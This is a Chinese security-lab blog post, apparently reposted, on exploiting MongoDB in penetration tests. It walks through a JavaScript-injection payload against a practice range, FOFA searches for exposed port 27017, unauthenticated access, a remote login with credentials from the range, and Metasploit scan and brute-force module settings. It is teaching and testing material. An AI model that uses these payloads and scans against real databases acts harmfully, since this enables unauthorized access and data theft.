暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Mongodb在实战渗透中的利用

破军安全实验室 2022-03-16
2012

破军安全实验室


    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约3400字,阅读约需9分钟。





0x00 前言




MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。
MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。




0x01 初识MongoDB




  1. MongoDB 是由C++语言编写的,是一个基于分布式文件存储的开源数据库系统。

  2. 在高负载的情况下,添加更多的节点,可以保证服务器性能。

  3. MongoDB 旨在为WEB应用提供可扩展的高性能数据存储解决方案。

  4. MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。





0x02 Docker 安装




    docker pull mongo:latest
    docker run -itd --name mongo -p 27017:27017 mongo --auth 启动
    -p 27017:27017 :映射容器服务的 27017 端口到宿主机的 27017 端口。外部可以直接通过 宿主机 ip:27017 访问到 mongo 的服务。
    --auth:需要密码才能访问容器服务。

    接着使用以下命令添加用户和设置密码,并且尝试连接。


    启动服务:

      $ docker exec -it mongo mongo admin

      # 创建一个名为 admin,密码为 123456 的用户。

        >  db.createUser({ user:'admin',pwd:'123456',roles:[ { role:'userAdminAnyDatabase', db: 'admin'},"readWriteAnyDatabase"]});

        # 尝试使用上面创建的用户信息进行连接。

          > db.auth('admin', '123456')


          远程连接:

          使用用户名fred,密码foobar登录localhost的baz数据库例子:

            mongodb://fred:foobar@localhost/baz




            0x03 Windows 平台下安装 MongoDB




            下载地址:

              https://www.mongodb.com/try/download/community



              Mongodb的配置文件:mongodb.cfg

              在liunx系统下为mongodb.conf



              端口默认配置,改为0.0.0.0 就可以外连了,如果没有设置密码,默认会有未授权访问漏洞

                net:
                port: 27017
                bindIp: 127.0.0.1

                添加环境变量:



                mongo.exe 启动客户端




                0x04 基本使用




                show dbs 查看所有数据库



                新建用户

                  db.createUser({user:"wang",pwd:"123456",roles:[{"role":"userAdmin","db":"admin"},{
                  "role":"root","db":"admin"},{"role":"userAdminAnyDatabase","db":"admin"}]})



                  对账号授权

                    db.auth("wang","123456")

                    远程登录:

                      mongo -u wang -p 123456 localhost:27017/admin


                      利用robo3t工具连接



                        use wang 创建数据库
                        db.dropDatabase() 删除数据库
                        show collection 查看集合
                        db.createCollection("runoob") 创建集合
                        db.collection.drop() 删除集合


                        插入数据:

                          db.data.insert({"user":"test"}) data表示的是表名

                          查询:

                            db.data.find()

                            删除

                              db.data.remove({"user":"test"})

                              渗透的时候就是枚举admin的用户名密码




                              0x05 Mongodb渗透





                              1.默认端口



                              Fofa搜索语法:

                                port="27017"


                                2.注入mongodb实例

                                这里用墨者一个靶场测试



                                先了解下mongodb的语法特征

                                语法:mongodb是以键值对形式进行查询的

                                db.col.find({"by":"菜鸟教程", "title":"MongoDB 教程"})



                                存储方式:



                                2.1、进入环境 '引号测试注入点


                                2.2、查看源码



                                2.3、构造简单回显点

                                源码是这样的:

                                  db.notice.findOne({'id':'$id'});return data;

                                  闭合构造paylaod 回显

                                    db.notice.findOne({'id':'1'}); return ({title:1,content:'2'});return data;

                                    得到:

                                      id=1'}); return ({title:1,content:'2
                                      http://xx.xx.xx.xx:49117/new_list.php?id=1%27});%20return%20({title:1,content:%272


                                      得到回显点




                                      2.4、查询数据流程

                                      (1)查数据库

                                        tojson(db)
                                        id=1'}); return ({title:tojson(db),content:'2


                                        (2)查询所有的集合(表)

                                        需要用tojson转换为字符串,db.getCollectionNames()得到一个数组

                                          tojson(db.getCollectionNames())



                                          (3)查询字段

                                          0代表第一条数据

                                            tojson(db.Authority_confidential.find()[0])


                                             

                                            查md5在线网址

                                              https://www.cmd5.com/

                                              mozhe:dsansda


                                              远程连接

                                                mongo --host 219.153.49.228 -u "mozhe" --authenticationDatabase "mozhe" -p'49117'


                                                3.未授权访问、暴力破解

                                                漏洞成因:

                                                Mongodb服务安装后,默认未开启权限验证,如果服务监听在0.0.0.0,则可以远程未授权访问数据库

                                                Fofa上随便找个未授权的:



                                                3.0之前的版本MongoDB,默认监听在0.0.0.0,之后的版本默认在127.0.0.1

                                                3.0及之后版本,使用 --auth参数启动后,无账号则本地和远程均无权限访问数据库

                                                部分版本默认不存在admin库,但如果创建了用户管理账号,这个库一定存在,如果存在管理员账号,但未使用--auth参数启动。例如:

                                                  use admin
                                                  switched to db admin
                                                  show users
                                                  {
                                                  "_id" : "admin.admin",
                                                  "user" : "admin",
                                                  "db" : "admin",
                                                  "roles" : [
                                                  {
                                                  "role" : "userAdminAnyDatabase",
                                                  "db" : "admin"
                                                  }
                                                  ],
                                                  "mechanisms" : [
                                                  "SCRAM-SHA-1",
                                                  "SCRAM-SHA-256"
                                                  ]
                                                  }

                                                  Mongodb的配置文件:mongodb.cfg

                                                  在liunx系统下为mongodb.conf


                                                  端口默认配置,改为0.0.0.0 就可以外连了,如果没有设置密码,默认会有未授权访问漏洞

                                                    net:
                                                    port: 27017
                                                    bindIp: 0.0.0.0

                                                    改为0.0.0.0之后,直接用其他机器未授权连接数据库



                                                    增加认证:

                                                      db.createUser({ user: 'root', pwd: 'yourPassword', roles: [{ role: 'dbOwner', db: 'test' }] })



                                                      用工具暴力破解:



                                                      4.MSF渗透Mongodb

                                                      未授权

                                                        use auxiliary/scanner/mongodb/mongodb_login
                                                        set rhosts 192.168.90.0/24
                                                        set threads 10
                                                        exploit

                                                        爆破

                                                          use exploit/linux/misc/mongod_native_helper
                                                          set password 123456
                                                          set username test
                                                          set rhosts 192.168.253.70

                                                          自动化工具:

                                                            git clone https://github.com/codingo/NoSQLMap.git
                                                            python2 setup.py install


                                                             声明

                                                                由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,破军安全实验室及文章作者不为此承担任何责任。

                                                                破军安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经破军安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


                                                            破军安全实验室

                                                            # 长按二维码 关注我们 #



                                                            文章转载自破军安全实验室,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                                                            评论